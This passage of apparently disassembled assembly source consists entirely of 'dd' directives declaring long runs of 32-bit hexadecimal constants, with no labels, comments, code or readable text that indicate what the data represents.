		dd 3E6B81Fh, 1B14CFF3h,	3AD6C801h, 9B736B7Dh, 7C059EACh
		dd 2B340C7Eh, 3DF5F9EBh, 1027553Ch, 0D915C190h,	0CF35206Ah
		dd 4E3DB458h, 1EA8B75Fh, 50E92234h, 470C267Ch, 5139CED3h
		dd 79FDC71Fh, 24D638D9h, 29B84FD1h, 0ABEACB84h,	7DAD5065h
		dd 0DCC9B055h, 0D6BB089Eh, 0B6159FA2h, 0AA51B2Ah, 80CA0432h
		dd 0B0747709h, 8CB03797h, 0CCDB5785h, 9E80C00Ah, 85471446h
		dd 0B0888DC5h, 0DA390377h, 44F50E42h, 5A13F604h, 1569900Eh
		dd 54DB194Dh, 51911978h, 0C2FCC8BCh, 0EA0A6BF0h, 87C35E22h
		dd 1E7887E4h, 0CAF130E9h, 0A0BF0876h, 0EC7A8F14h, 4002E6CDh
		dd 0DC55B067h, 63892125h, 1E54558Ah, 32CD5293h,	60FAB64Ch
		dd 0A3E7BEA7h, 64290182h, 21928F8h, 12DB92E2h, 0C2D7FF7Ah
		dd 9ABA3607h, 0E84F3572h, 6E764180h, 10EFA7C4h,	0AAB5606Fh
		dd 3F4A295Ah, 4896F41Ah, 0E30CD574h, 0BAA363D1h, 2E53E65Ah
		dd 0EC211892h, 5CB7CCF5h, 34A6752Eh, 73E192D1h,	0EA096BC1h
		dd 78854C84h, 0EC1EAC26h, 6E05DDDBh, 0BF817D49h, 2B641359h
		dd 0B0AF7C4Ah, 67ED939Bh, 0EF16F891h, 22700990h, 858D75D1h
		dd 0FC70D195h, 304649DBh, 4FD08655h, 24CDE59Fh,	0D9700D28h
		dd 43266700h, 0A87B5686h, 0E8326E3Fh, 0D9EA9F57h, 0F2AE33BEh
		dd 9913D76Bh, 4E8A032Ah, 76A7F705h, 7922B39h, 8CDAD15Eh
		dd 59BFB665h, 320BDE27h, 4179551Fh, 0D5625EC4h,	0B1D0A2Ch
		dd 4405C772h, 1EB3438Eh, 0E06524D7h, 0E60F678Eh, 2A23911Ch
		dd 77F4B35Eh, 0A7F1F49Bh, 6C633AAEh, 56496C92h,	97BA599Eh
		dd 0C2E9B8B7h, 0E2684226h, 0C70BFC80h, 5F993A1Bh, 86993FA8h
		dd 6B4C5EEEh, 9C2CEB6Dh, 3D9790FBh, 0DCD78B3Ch,	0D1FF209Fh
		dd 0CA78FF04h, 0F77F7AB4h, 0AD59A576h, 0FD053231h, 0ED8C82F2h
		dd 0F8CB8654h, 0FE4F52FBh, 2094D947h, 7AC0F099h, 3AABA947h
		dd 1A07B3D9h, 197C0A41h, 14A8D8FAh, 3FB7E775h, 28241951h
		dd 0F4DA7B42h, 323176E4h, 0CE566652h, 139098CEh, 0D8A4026Ah
		dd 807FAB26h, 0B51EC78Bh, 0AE5292Bh, 742097A9h,	6060A247h
		dd 0FDEA5603h, 5E74B288h, 0CFC6BD4Ah, 0FB06935Fh, 3F8494BCh
		dd 0FB185226h, 85F1DB5Fh, 55B2037Ch, 50E77744h,	564EC8h
		dd 6CD5E00Eh, 6BE32DC3h, 47E79EFh, 0B93A43A0h, 0B174B4EBh
		dd 0B85F4DC0h, 0F8D69C42h, 1EB823B2h, 0C0B7D7C5h, 0BC2582D3h
		dd 64288CDFh, 7F789882h, 2D87FDD0h, 5A83AC01h, 4F7D282Ch
		dd 162BAA35h, 6DDD12FBh, 0BBE2F1EFh, 0E9FA30BFh, 8738A85h
		dd 0B890CD4Fh, 0D0848F0Fh, 8E6D9897h, 8F3231F1h, 4D7BB615h
		dd 8E02E4BEh, 8BBC82A8h, 5062109Eh, 6F76B9ADh, 3802DB17h
		dd 82AF47C3h, 2DEC77C9h, 3C5BA4F8h, 6EBD7946h, 0F9D6735Dh
		dd 72C37B8Dh, 293256BFh, 0AC26E93Ch, 0F567033Eh, 0AF78DC0Eh
		dd 744F915h, 18918B5Fh,	1839CCA4h, 339BD433h, 13E011E4h
		dd 81BB3562h, 833C98E8h, 5FDCB2D1h, 0CA217479h,	0CE5BF56Ch
		dd 157CDCF0h, 57E580FFh, 2F025795h, 86AEB55Ch, 375DA60Ch
		dd 7832C553h, 6A77D8FAh, 0A0A924F6h, 97FA015Ah,	2E8E25BAh
		dd 0CE3B9C2Ch, 0E25ACA20h, 0BD0D91D8h, 6092D6BAh, 82092AF6h
		dd 97D6CC70h, 8C63CED6h, 0A8E2DBC2h, 2939F37Fh,	5DEDFD87h
		dd 0A9B1927Bh, 0DC435ACFh, 58B5A66Ch, 0EC1E726Fh, 663AD89Fh
		dd 97BA4651h, 3E333911h, 0C46ED774h, 8FB23ACBh,	0E21BDEABh
		dd 9B77EAACh, 0CE3652AEh, 0AF951C36h, 6B994D21h, 0C0FD1C6Dh
		dd 6FA309C8h, 70F6DA9Eh, 7E897095h, 88F04BA4h, 9F9DC870h
		dd 667F0F2Ch, 549B7E4Dh, 54A4E45Ch, 90AC074Ah, 4041E400h
		dd 58A4E8ACh, 804C6689h, 7030F79Ah, 5A8A21E4h, 61B84080h
		dd 37C4F49Ah, 0BE68CF01h, 182EC097h, 5B9870CFh,	95872E7Dh
		dd 3BC57318h, 0B41E8898h, 0CE664E09h, 37CFACCAh, 0E2964630h
		dd 4FAD489h, 6A9CDC96h,	78B82EFEh, 6B248022h, 0F95C4AB6h
		dd 6F216EE8h, 12DDE6ACh, 49E210DEh, 210249E6h, 1AE7614h
		dd 917F5701h, 7FFBC1F7h, 0A407218Ch, 242E17CEh,	1F9E1348h
		dd 4D385D10h, 498DE266h, 0F673ED48h, 21426654h,	5727AE2Ah
		dd 95F2194Bh, 682F3CAh,	35F5D63Dh, 0F5898091h, 0CDEC3A06h
		dd 0E704CE1Ah, 0AE3BA1E4h, 10F49A93h, 0B3B0B1CEh, 83AA1AAEh
		dd 0CE27A34Fh, 60296A94h, 0BBD889DFh, 2839989Eh, 6E61981Ah
		dd 18831201h, 1AB43F8Eh, 994905C6h, 36770D22h, 9DAFAD75h
		dd 424C86B4h, 25BA22D5h, 0A0E9C830h, 0F83FEF01h, 814A10AAh
		dd 183B3231h, 0A33AAA25h, 0F8729F0Eh, 93D12BC6h, 23A43E96h
		dd 49D5226Bh, 63E03D8Ch, 0F3E73559h, 6B65659Ch,	25CCF000h
		dd 0F21A02CEh, 1ED32A0Fh, 124EA791h, 0E3A0B83Dh, 8F4120Fh
		dd 0F19B5BD3h, 4AE933FCh, 0B5E8F5EAh, 27165C93h, 7224E4E7h
		dd 0E13A9247h, 0A7E8B2BBh, 4149D28Ch, 12BFA8F1h, 0EE7E9DDCh
		dd 5CEFD094h, 0B368CB87h, 2D735058h, 0F8C64C5Ch, 0E87184B0h
		dd 61143CEBh, 2F15CA25h, 23C3912Ah, 0C0707810h,	36C2FCF9h
		dd 8A9ED9BEh, 3B622712h, 1725D08Ah, 7851EACCh, 0C461165h
		dd 872C77CFh, 0FBB88DDDh, 0DF52CD87h, 0DA805F4Bh, 4ED3216Dh
		dd 0B3596A54h, 10E6BC81h, 0F02E6A33h, 0CE375ACDh, 0A83EC924h
		dd 0B875E2B4h, 0E05BBE1Dh, 3A758B89h, 360CAFC1h, 69C3BB56h
		dd 0B35A7D8h, 0BC481F03h, 0A2AF7818h, 89989CB5h, 43FA2D79h
		dd 5054FCC6h, 0FA8BE849h, 0DA2E30Eh, 0F33E340Bh, 0C9B6BE89h
		dd 0BBDE6BC5h, 0B8AEE3A8h, 0B7393BE8h, 0CC28CEAh, 637A1F0Fh
		dd 988A463Bh, 0B1FD181Fh, 0EB8B366Dh, 3135D985h, 0AFD89D32h
		dd 4B74DAFh, 5AB35570h,	15868A5Dh, 6C757DB8h, 867CB024h
		dd 95D753Dh, 0AB91C482h, 53595A03h, 853D9216h, 0FBBFD857h
		dd 0AE4BE2D8h, 0BC8CEF89h, 3EF9B6DDh, 21B10396h, 19EF4057h
		dd 0D7A14320h, 0D2EDEE3Fh, 17D2844Dh, 9D59FCF3h, 1E9C8C8Dh
		dd 59E5FB63h, 489E3D93h, 0DC3B4210h, 26490578h,	4339406Ch
		dd 1E8A0884h, 9D858FA7h, 3A017D85h, 9664A16h, 425B8D43h
		dd 746F2B11h, 74BFEF8h,	4443DBF4h, 0D2BC28A8h, 646470D0h
		dd 7F9D4D1Fh, 5D7347ABh, 0AFFEA89Fh, 0C861843Fh, 0A06A3751h
		dd 9ECF712Fh, 0A4D1473Ah, 94F53E4Ch, 0C460F2C7h, 1E8A9BFh
		dd 0D1BB36E8h, 51BA8B74h, 4F6187DAh, 0AA37B03Dh, 265A32C2h
		dd 3EA984F9h, 4BF3906Ah, 1EDD9D47h, 0E516C04Eh,	3FF305Ah
		dd 0FC57BB49h, 0FCAB1C26h, 681BC987h, 862822F3h, 5957E53Ch
		dd 48931228h, 639D1B8Eh, 96633C9h, 5BA42FC4h, 3F37FFEEh
		dd 84AEC2CFh, 62A25BFBh, 0BC2A55BFh, 934D8B5Ch,	93A2B9A6h
		dd 74064724h, 0DAD818DDh, 0A31BB9C9h, 0D720AC57h, 6CE8281Ah
		dd 3F463E28h, 0B9832E98h, 7ACB2785h, 0AF0BF555h, 73D0797h
		dd 39064CA2h, 342DBDE0h, 0F9E7FB57h, 0D73CB300h, 33249284h
		dd 232B0333h, 683B0581h, 97AACD53h, 4878C257h, 0CCB3E662h
		dd 8DCEFAEBh, 0ACB1BF86h, 444F5FEh, 0EA7A1A27h,	42EE7F38h
		dd 991B6335h, 0BFB41CEAh, 2DE1A151h, 70289E14h,	1C52F4EFh
		dd 67D861DFh, 31C1BE57h, 0E5D6CE32h, 0DB9D0E6Eh, 34CE659Fh
		dd 2412734Fh, 0B64E0246h
		dd 7F39507Fh, 0A2FFBE65h, 826A01A2h, 0C371B816h, 0DE18F5B7h
		dd 9590FD2Ch, 333920D8h, 0B279631Ah, 0F959EFF2h, 0D385F879h
		dd 7F5C805Dh, 0DB931EEFh, 43561785h, 3EA80310h,	3A672F77h
		dd 0C02D1295h, 87F65EE4h, 0A71ED5C8h, 7D22DB4Eh, 3759B222h
		dd 1553EEECh, 0CA665CC3h, 0DAA1835Fh, 21C296FBh, 198CAED1h
		dd 803A93DDh, 111E14D6h, 0BEF2C8DEh, 22B548C0h,	0B47CDF9Fh
		dd 0DB2B0184h, 0FBE7C0C8h, 26E52060h, 9003E632h, 7FF26FD0h
		dd 0C8515464h, 7AB3847Dh, 0EA398C2Fh, 0E284903Bh, 65B5708h
		dd 7ED83AD5h, 0FBE4C64Bh, 50D85492h, 237CF78Ah,	920BE6C9h
		dd 0CCC8DE6h, 0C7E221FFh, 0D1C14CF7h, 7E8CEDEh,	757F4A5Ch
		dd 0C70FAC6h, 7860DECBh, 3885F3A1h, 5C5C47B7h, 3655CAF6h
		dd 74E9062Dh, 72DBBD3Ch, 0F0C27E55h, 3948C48Ch,	0DC5E7BE0h
		dd 0C20B25C3h, 8B3BE53Bh, 4F1F12F8h, 55E4EE52h,	0A828B2BAh
		dd 16C0D7A0h, 604B653Ah, 0E712B0B5h, 527C320Dh,	0CEB4085Eh
		dd 71CA671Ch, 9EDAE57h,	0F20840C9h, 6E6187B9h, 3EEDA5BCh
		dd 5E7B9229h, 0CA6708Eh, 78FCE02Fh, 81F53EC2h, 5B5389B2h
		dd 0BE36D746h, 818AD492h, 0E9280134h, 0CFA01FCEh, 3BB98A4Eh
		dd 0A1AABAB3h, 3A7E76A6h, 890DB55Ah, 7B4F207Fh,	0AA61BCF1h
		dd 47BA083Ch, 71BD22E2h, 2A30F82Dh, 0FE7D5002h,	0B7F73E9h
		dd 14570859h, 0A9ECB79Ah, 606E522Ah, 78C05AE5h,	39A0C08Eh
		dd 3D02A0F5h, 80EBCF14h, 0B7CDB798h, 3EB5811Ah,	3111989Fh
		dd 0F765A432h, 0DCB57789h, 635A9328h, 0D8D96128h, 0F33891Eh
		dd 2E4465E9h, 25B2AA8Fh, 0A46289A9h, 4A38E767h,	0B39DA818h
		dd 34F9F111h, 305AE726h, 9B8D1F53h, 6EC766D2h, 0A0FB7E20h
		dd 0FC4D5844h, 4D218EA7h, 1FC1EE61h, 0DCED1887h, 34A38F0Ch
		dd 65F7F93Ah, 9E81BBAh,	0BEA0F354h, 83D565ABh, 2DB19EA0h
		dd 7CD38D03h, 0DE92D6ADh, 69264151h, 4D5A68BAh,	0A501A5CCh
		dd 62137D15h, 0E6F79F8Fh, 0E0CDD9A3h, 54BC1B7Ah, 347AE7B8h
		dd 0B57D6F1Dh, 622254DFh, 9BF238AEh, 0B88B8B34h, 9BBAE742h
		dd 26E195C0h, 0B3C778B9h, 885E27E5h, 0FF814F76h, 5BD874DBh
		dd 0B78DA77Dh, 7FAB6884h, 3CC6A292h, 573D16B9h,	1B8FDA6h
		dd 0D3E9C5E4h, 89DCA21h, 0B62630Ah, 28B6B198h, 6B85AE34h
		dd 61F68976h, 0A66C8FF9h, 0CBD1A94Ah, 1CB352F6h, 422DBFCh
		dd 0E41234EBh, 454BAB04h, 2E9945C8h, 65685E49h,	4D1BEF70h
		dd 0DD03C919h, 2D2577DDh, 0D4BF2EC5h, 78A938A1h, 0E29CCEB0h
		dd 0ABA7CAB5h, 0A16AE0C5h, 6A9604E5h, 55D35310h, 521D9620h
		dd 3A4935DAh, 0DF63E17Bh, 46B9E7A5h, 1B86F6A7h,	0E1E2C849h
		dd 86A3BB3h, 40BE5B50h,	1AF587BEh, 0C5F4C36Bh, 2C375600h
		dd 0B2E3C7B9h, 7F8F87C7h, 200DB536h, 0BF6FFC01h, 33BC2D85h
		dd 90F995Ch, 35DE7C5Fh,	66D0FA71h, 0F6823CA5h, 0DD255D6Ch
		dd 0B1E85A9Fh, 38B61E5Ch, 0C15D0FBAh, 0DD30CF39h, 4B300B5h
		dd 5646D2CBh, 34459A3Ch, 0EB0AFAE4h, 5DC1D8F4h,	93D62DF1h
		dd 4DEF4C84h, 0DF13CACEh, 713231C8h, 38EAAC23h,	0F01EFB19h
		dd 7C50389Bh, 9DF32795h, 77024C48h, 930E836Ch, 0EF3A76E3h
		dd 25576A2Ah, 62952817h, 2DECFF42h, 0C4D15150h,	0D5D7C962h
		dd 0C9A0B98Fh, 0C15987DAh, 6815865Fh, 0C6E09ADBh, 1FF12FE4h
		dd 0F006ED6Dh, 3B6A41D7h, 0E4436976h, 1E15F249h, 1E8A734Fh
		dd 0E6138CBCh, 21BE4383h, 0B5B1B042h, 56C8AF9Eh, 0D1DC555Eh
		dd 0FCFAEA77h, 0BCA90067h, 21693231h, 8B9AC2D2h, 57B2677Ah
		dd 0AC224D15h, 0D0E16C66h, 0E48A0B89h, 37DFDED6h, 1382A35Bh
		dd 2B6ADF21h, 0F79F03ABh, 2DEE2CA0h, 4A9BEB27h,	0EEF3A4F6h
		dd 19C56B5Eh, 0E7E67C64h, 5F082CE7h, 7127256Bh,	0C0F637CDh
		dd 0C568CCF1h, 0A9DD3217h, 95BC2AD0h, 0C64C134Eh, 2E8593E1h
		dd 9B5D65h, 95709D43h, 232BE41Fh, 0AC7DA0C4h, 0ED8FEB0Ah
		dd 4CD76688h, 494FD25Eh, 0F7AAFDD7h, 0D4EA00C3h, 2E898409h
		dd 9F1B69EDh, 5B7B78D9h, 0DAAA1F6Ah, 4D26D726h,	0BBE0AD75h
		dd 16110623h, 0D49F449h, 382797FAh, 0EBB59DF8h,	20FAE2B4h
		dd 29533707h, 0F36ABF73h, 1BE7E05Bh, 4A628718h,	0E95B22C6h
		dd 9F04F2FCh, 34EF3AA2h, 0CF49EE7Fh, 20F02A17h,	47E789E8h
		dd 3EE5AA5Dh, 0FC30308Bh, 31F5C654h, 302EA037h,	97E9AE30h
		dd 4E897C10h, 0ADE8CA1Ch, 443996D4h, 0A0CE70CCh, 73034A14h
		dd 0BD5DD21Ch, 2ADFFF7Fh, 0F0A4432Eh, 4F2DA54Eh, 6E98C0FEh
		dd 4B5DE5BEh, 0C8DB4C18h, 0BF931C2Fh, 70A50F80h, 0A8DCAF6Ah
		dd 930B719Fh, 0B489D4ACh, 0DD251059h, 9C7CAAE5h, 89A2B6A6h
		dd 0E196F2F9h, 356FB5C5h, 0BAEE8F2Ah, 8CE3BAE7h, 0E1935881h
		dd 4923781Bh, 0CBB7079Ah, 2DE677Bh, 292FC733h, 10398EB0h
		dd 6ED24643h, 0CC079F0Dh, 0E32F07BAh, 0EC272C6Ch, 59B6EDF8h
		dd 6245A2EAh, 2CE28F29h, 0DAA0BBB9h, 33863092h,	0A0786F54h
		dd 4F63CBACh, 9980423h,	3C35A0C7h, 0E63231EDh, 545160B6h
		dd 0CAEAB2C9h, 0B7B6D424h, 0CB435225h, 8CF03CB5h, 4166C204h
		dd 1E3030BAh, 31FFD61Eh, 35517D36h, 0B8143351h,	0A5C47FA4h
		dd 482557h, 0DF814AC0h,	4D6FAFE0h, 0B1569EBAh, 1D8F2E35h
		dd 0BC95A620h, 0DC2BA83h, 0E1D53776h, 85FAD873h, 4A539F4Ch
		dd 87B54685h, 9E37BE3Fh, 0C0611AEAh, 7AE7F5B8h,	0BB7928E3h
		dd 18FE59AEh, 6E7E9D18h, 8C42FA8Dh, 386D2B1Bh, 6CA2B7EAh
		dd 1B229464h, 9F27D009h, 9775AF56h, 9C7DB030h, 0CF682544h
		dd 452748D8h, 0A8C7AD70h, 0F4D82551h, 0FDF90817h, 0E2BA896Ch
		dd 5CB232CEh, 5B985FA0h, 0D765C3CCh, 2C0E1962h,	9E8B3EDEh
		dd 8687113Bh, 0AB7D18DFh, 68006302h, 0F9582038h, 26D30FF9h
		dd 9727A1BBh, 0FF7BFC6Ah, 0E3A96E7Ah, 21D5C5A7h, 0FAC2DDAEh
		dd 74C96BECh, 0DC10CC05h, 3AEFB709h, 713F8825h,	1DEC1E4h
		dd 903B4956h, 21BA4E4Eh, 9E711F4Ah, 0E43D06ADh,	0B7047ACBh
		dd 77BCE9A7h, 0A4388961h, 228BED1h, 7B5B9975h, 5D3439A9h
		dd 2CFA4425h, 520C734Bh, 9958730Ch, 0CDABED5Ah,	5F3231C9h
		dd 89D29A4Dh, 4FAEC00Fh, 56CE42Dh, 5CFDDAA0h, 1DD0D870h
		dd 0CCBBC254h, 1891714Eh, 144DF380h, 0C2198433h, 9C84E43Bh
		dd 28A5D5D3h, 7A4F78FDh, 962B4D6Fh, 447B36A8h, 976E094Eh
		dd 0AEE289ADh, 85A6CC2Ch, 0BD6588C2h, 0A2B69E9Ah, 0B3CB2DDAh
		dd 0EE6F9DD9h, 7D52FC9Fh, 2A5F0210h, 5D4184Eh, 83BB9185h
		dd 0D63378A2h, 0AE3A59F6h, 6ED5A8CCh, 8172498Dh, 0E0DD8BE2h
		dd 4F08F391h, 5D5B201Fh, 99E92307h, 66741401h, 5C057B6Dh
		dd 3B301195h, 0FE5452EAh, 7CD1A9AEh, 0FBCE129Bh, 760A1EA3h
		dd 18D61884h, 4A59111Eh, 61FE1E18h, 0C34224D1h,	14E496C2h
		dd 0C507F4BDh, 8FAA8A12h, 3820EF64h, 60BB872h, 7D0E6000h
		dd 802E9501h, 0AB722428h, 9A676A56h, 5C8B8865h,	0E0C392FDh
		dd 0B475E196h, 5FEF402Dh, 530C6E94h, 21C0286Fh,	3BAD5F75h
		dd 4B5EA04Dh, 52A7721Ch, 1143F059h, 0B6FF20Ch, 0C74D9B20h
		dd 90DA8007h, 0EA2F4ECFh, 97F1B7E3h, 2381E28Eh,	88D717D3h
		dd 56DE6875h, 729F8B1Ch, 46254436h, 0F5ECE633h,	0F15FDBBBh
		dd 864842ACh, 0BCA16748h, 955946CEh, 0BAE2A183h, 0CF362F6Fh
		dd 0AC02B1ADh, 8A23CDAEh, 0CCFB536Eh, 0ADC8B306h, 0F747B289h
		dd 0BD8C8726h, 0C8032A07h, 0C2A64093h, 0BF5E5FFFh, 0DEDD8DB9h
		dd 39719D05h, 0FECF047Eh
		dd 0CD3FB83Bh, 0CF6AA408h, 3F9437A2h, 5FBCBCA4h, 0DFFCBDE2h
		dd 30EA4900h, 3711361h,	0CCE77F74h, 70830579h, 30D00DEAh
		dd 0C08B00BFh, 0DA859B95h, 0C9FF7446h, 0F5CE0EC8h, 0A95ACA27h
		dd 0A8062400h, 9A10B8EDh, 57340635h, 0F4EED451h, 89D46868h
		dd 0BA6B5784h, 0BBC3A7C6h, 0BD08471Bh, 0E66388BEh, 561E1CEBh
		dd 0BD4B2C03h, 6B7C8587h, 2C2C6C94h, 25AECEDFh,	0CCAECD84h
		dd 8C206AC7h, 0CE32310Eh, 0DDDD22CEh, 8A0256BFh, 0ADB2C521h
		dd 2AF2FAA3h, 11FEBCBCh, 0E26DC3F9h, 80B443D1h,	2EDBD29h
		dd 0CA7BDCBEh, 7356DBEBh, 9F675F9Ah, 21CD60A6h,	12BACFD8h
		dd 690A73ADh, 8C5AAB10h, 0A6DF3ACCh, 3356AFCDh,	0C0C1A94h
		dd 2C30716Dh, 21E3824h,	8F595CC5h, 0C6250219h, 0C11827E5h
		dd 3BFAFCBFh, 7DC1B574h, 90F1D63Ch, 0D71E7C9Bh,	0E06D713h
		dd 5C213BDh, 929EE84Ah,	0F8D3FF21h, 0E5ADB115h,	4AB0A8A7h
		dd 0AE8B012Ch, 25C76E4Eh, 0CD7387Ch, 7B918191h,	1D9877h
		dd 0E0BD950Fh, 53472478h, 0EBFC971Ch, 26879ADh,	911199B0h
		dd 9B508778h, 0DC4E2482h, 43527E57h, 28E03065h,	857FBE77h
		dd 0A053BA82h, 42598EEFh, 898292BDh, 0DFF6BDD4h, 334CEE80h
		dd 85DCC507h, 0A7B96E1Eh, 17EBC19Fh, 8BB64458h,	0B321419Fh
		dd 0EB41D63Ch, 90817EEEh, 0EC595246h, 3E50D300h, 0D68633E4h
		dd 0CDD111BDh, 88A7A522h, 0BF8D36E2h, 3DCD47D1h, 6D015E0Ch
		dd 0B67820E5h, 54D3BD12h, 45B2D7Dh, 77BD4ACFh, 0D18568B5h
		dd 0C9E2C1F2h, 0CBAEFC08h, 0A8FFDFE2h, 54012AC7h, 0DAA9372Dh
		dd 0C112D326h, 448A0D7Ch, 0D33CB08Fh, 55A5B4DCh, 698CBB19h
		dd 76709F0Eh, 4A9E2AA7h, 4BB41BB0h, 0D0BF2465h,	0E48BE138h
		dd 0D8AEE59Eh, 0DAD7CEE3h, 0C8660CE1h, 0ADAB8957h, 2D0F7877h
		dd 36C86B49h, 5DB6F9Ch,	4941C248h, 9717C261h, 307EE8E9h
		dd 5A5EAC95h, 9926283Fh, 7C8856F1h, 7E64F43Fh, 241E4633h
		dd 5A262262h, 0C10E6C19h, 9A404CA8h, 0B3480366h, 7545F020h
		dd 5E469A1Ch, 235C97F7h, 403473EDh, 6B0CAE2Bh, 7230BC6Dh
		dd 50D5A7AEh, 92B44994h, 0D1040236h, 0BB1221D2h, 159B23A4h
		dd 44AD02D8h, 0FDB5948Eh, 0E7A8F6E2h, 0DF54FD0Ch, 57485EC5h
		dd 6356A248h, 46A6D9CFh, 0BF9A4CCBh, 0D6F0F5C8h, 5DDE7A60h
		dd 3A21DA0Ch, 1BC193E9h, 0A041A67Ch, 0C00D3B44h, 0C85C8FB9h
		dd 11B95FF9h, 1C0785A8h, 0D3645A4Fh, 0CE504932h, 578BE04Ch
		dd 5C23E409h, 8021762Fh, 0C9A5DDB9h, 0D9D01E76h, 0AA798A9Dh
		dd 0E82BEDF5h, 96E38F8Bh, 90298FC5h, 3C9EE96Bh,	0B7C1B74h
		dd 0D01E0C17h, 791EE2ADh, 7693D75Ah, 54690078h,	0D4268E65h
		dd 0E601E5F0h, 0D2F76CF7h, 0E37BB346h, 0A27FA13Ah, 994CCE1Fh
		dd 9F04968Eh, 1E15C124h, 6D77392Eh, 0EBE6C19Ah,	0C040BD20h
		dd 2E811695h, 8D9D0D6Dh, 0E820301h, 1745EBE1h, 83A6045Bh
		dd 4BF90E0Fh, 0E1122B85h, 0E6D8842Ch, 0DBA54168h, 75F52312h
		dd 3646BD6Dh, 319B7423h, 506EBE32h, 0BC10BF98h,	2B7F6964h
		dd 0A48C4469h, 53895270h, 58786DCh, 7775634Ah, 0AAB87932h
		dd 3B689ACCh, 701A1A29h, 295ABC7Fh, 70B5F4EEh, 0A80215D2h
		dd 0EF2C1DDFh, 84825DDFh, 0A2A638AFh, 91E64FC4h, 0C609719Fh
		dd 0EF588942h, 0D1E237C6h, 0F0055482h, 6B7068ECh, 0DBFC3DA0h
		dd 6B63F99Eh, 0C6D5CFFCh, 20870C48h, 0FB9D9EB5h, 0DC75A252h
		dd 0FFAB1324h, 27539475h, 92FB13A4h, 0DCC9216Eh, 5D22C6B5h
		dd 425FC4FEh, 8C9EBB44h, 0A5949525h, 99E83056h,	8B88DFD1h
		dd 0C9AEF146h, 1ADF6F2Ch, 0D1A12B6Dh, 87284735h, 0CAB0F7F2h
		dd 752FB42Ah, 50E7F34h,	533466D0h, 0AB116C68h, 5AEF5A57h
		dd 0ED8B0D1Bh, 37E4B401h, 6803985h, 6C3231E1h, 0BA823A86h
		dd 82659F4Dh, 0D0FFFCAFh, 22F36AF5h, 7AF86F92h,	66F733F9h
		dd 5A377BCEh, 64B49A7Ch, 333C03CCh, 0EA8F1AFBh,	26274420h
		dd 84383B46h, 0C14DE950h, 0D569584Ah, 4A0F7030h, 38564945h
		dd 2F6E425Bh, 4200B08Fh, 12D69BBh, 540DFB52h, 33522536h
		dd 7B4DCF6Fh, 0E9837EF4h, 0A022CEAh, 830BB6BEh,	1EA7B427h
		dd 0DCC15EF7h, 16A7A4C5h, 0D50BC943h, 0C497A959h, 0C3DBA84Ch
		dd 0A6254047h, 0E239DC94h, 35E90ECEh, 0DD165EBFh, 28FFEABFh
		dd 4CD5AF87h, 0B742ECA2h, 0CEB3A08Ah, 10C30138h, 51417C0Bh
		dd 0F00E3C1Ah, 0F645000Ch, 0C150C877h, 4C16F14Dh, 6B028C7Fh
		dd 0B69A2546h, 6385F1E1h, 5506E81Dh, 92B5AFFFh,	176F0723h
		dd 0E25D1C0Ch, 9A7A7BE8h, 214D8C4Dh, 0BB3CD16Fh, 0B4AC44E5h
		dd 0A685CAB7h, 0E9A25A68h, 0E2DA7EB2h, 20AC9C5Ch, 0B087D1D3h
		dd 8A1C2A6Eh, 43A7C30Ch, 60D674E6h, 0E07C975h, 212B34EFh
		dd 4DD83022h, 0B93F5AE6h, 0BA489714h, 0AE3D20CFh, 0DE3460EFh
		dd 0A31E5915h, 0EC6F4249h, 806E880Eh, 0A86F709Bh, 7A77FAEAh
		dd 0BF822652h, 0C6E5B040h, 6D44D507h, 916F68Dh,	848ADA1Eh
		dd 5C2F2BD8h, 43801C0Bh, 1ECBBAA9h, 0BFDDA351h,	41696675h
		dd 8C7F9F24h, 6D1FDE9Eh, 0E68BB4D8h, 0F9D23864h, 6C161207h
		dd 4C1309F6h, 6FF58C42h, 0D45AA495h, 658A48F2h,	0AB113261h
		dd 547686E0h, 0CC47916Eh, 1A83E4B2h, 4882DBB5h,	0F6AD23DFh
		dd 0D0575716h, 91BBCAB6h, 0E8D29E0Eh, 12C6C272h, 0B0A05D1Eh
		dd 96636BB2h, 3251FBC0h, 0F5DF3750h, 5D643782h,	0A6E0DF85h
		dd 26231472h, 40F28884h, 386CDFC7h, 0DA81A05Eh,	5392220Ch
		dd 4BC0A19Bh, 91A49273h, 19370260h, 8E265D03h, 0BC3F7CA1h
		dd 928CFF93h, 0D16C7F12h, 0ABAA38A7h, 8EA36BC5h, 0ACE61AD0h
		dd 92C95D7Ch, 59BC60CAh, 4C0AA999h, 0F14F74C5h,	0F8E88153h
		dd 8C5A883Eh, 924D78D3h, 996B071Fh, 0F3C6A4D0h,	0E82113ADh
		dd 40C13D25h, 75AAD13Eh, 0B8209077h, 0EE77974Ah, 581791EBh
		dd 0C01ADAE7h, 8365CE9Bh, 0EA5E0BF1h, 1EAEDC8Ah, 0EBBA8707h
		dd 22172494h, 557B7856h, 10F9C508h, 368DDE52h, 69248B05h
		dd 573803Dh, 5548125Eh,	4AFD1744h, 0FB2A5044h, 0D5EEC9E9h
		dd 0F695A894h, 858BABAAh, 0C3D4FD65h, 0C9967979h, 6F4C4D5Dh
		dd 0DF8AE5CDh, 42A62844h, 37E813D9h, 3AEE1ABBh,	99DBEB68h
		dd 0C711F263h, 759D69E0h, 94E37525h, 243C2AEh, 9C2DB937h
		dd 0E27ABF34h, 0F9DD5A82h, 0A6D51AE8h, 6332E134h, 688D5F4Fh
		dd 98F3F2F4h, 0C77EB681h, 0DD38696Ch, 2F27227h,	0A9BF7794h
		dd 15A542Eh, 0D029B1D6h, 37A8C21Eh, 0FCA72987h,	57C95063h
		dd 75E50E7Bh, 18EED3A3h, 0A6460845h, 0D24D9402h, 5BB439ABh
		dd 1CB75904h, 0A810152Ch, 0D26F7DEh, 0F3DA887Dh, 0C1AD6765h
		dd 3A032BB8h, 4D71558Fh, 0FD9DECC6h, 9F830F2h, 5B62E67Bh
		dd 5A4AEEA3h, 7E9161B0h, 0BD8A7C2Bh, 25EE261Ch,	0AD3A452Eh
		dd 6272AF3Fh, 207013AEh, 79159990h, 4A978C7Dh, 0B642699h
		dd 0AED324C1h, 70F3F066h, 0D106442Dh, 39CE69CFh, 7670F829h
		dd 0B8E39FBFh, 1172C1Dh, 0C5BB41DAh, 8E22D2E9h,	3231285Fh
		dd 0E11278CFh, 86077AF1h, 5755E0A1h, 0A6A60899h, 79F9BFA5h
		dd 3A1A6ACh, 3507DF16h,	531916BFh, 67C06097h, 2172923Ah
		dd 6BF76BF3h, 3735598h,	8D283F4Ah, 13D7A66Ch, 0BBE9E008h
		dd 0F1A207A8h, 6D47B7C0h, 0AEA0A019h, 28174155h, 1111187h
		dd 2DEDFB9Bh, 7DD46D91h, 42A20752h, 0AB59206Ch,	302F62DBh
